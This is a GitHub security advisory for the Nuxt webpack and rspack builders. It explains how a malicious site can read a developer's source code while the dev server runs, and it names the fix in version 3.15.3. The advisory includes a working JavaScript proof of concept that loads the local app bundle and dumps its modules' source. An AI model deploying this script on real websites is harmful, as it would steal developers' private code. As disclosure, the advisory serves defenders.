GHSA-4gf7-ff8x-hq99
Opening a malicious website while running a Nuxt dev server could allow read-only access to code
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @nuxt/webpack-builder | >= 3.0.0, < 3.15.3 | 3.15.3 |
| npm | @nuxt/rspack-builder | >= 3.12.2, < 3.15.3 | 3.15.3 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.
### Details
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src="http://localhost:3000/_nuxt/app.js">` in their site and run the script.
By using `Function::toString` against the values in `window.webpackChunknuxt_app`, the attacker can get the source code.
### PoC
1. Create a nuxt project with webpack / rspack builder.
1. Run `npm run dev`
1. Open `http://localhost:3000`
1. Run the script below in a web site that has a different origin.
1. You can see the source code output in the document and the devtools console.
```js
const script = document.createElement('script')
script.src = 'http://localhost:3000/_nuxt/app.js'
script.addEventListener('load', () => {
for (const page in window.webpackChunknuxt_app) {
const moduleList = window.webpackChunknuxt_app[page][1]
console.log(moduleList)
for (const key in moduleList) {
const p = document.createElement('p')
const title = document.createElement('strong')
title.textContent = key
const code = document.createElement('code')
code.textContent = moduleList[key].toString()
p.append(title, ':', document.createElement('br'), code)
document.body.appendChild(p)
}
}
})
document.head.appendChild(script)
```

It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the `sourcesContent` field).
### Impact
Users using webpack / rspack builder may get the source code stolen by malicious websites.
References
External links from the advisory. They lead to third-party sites.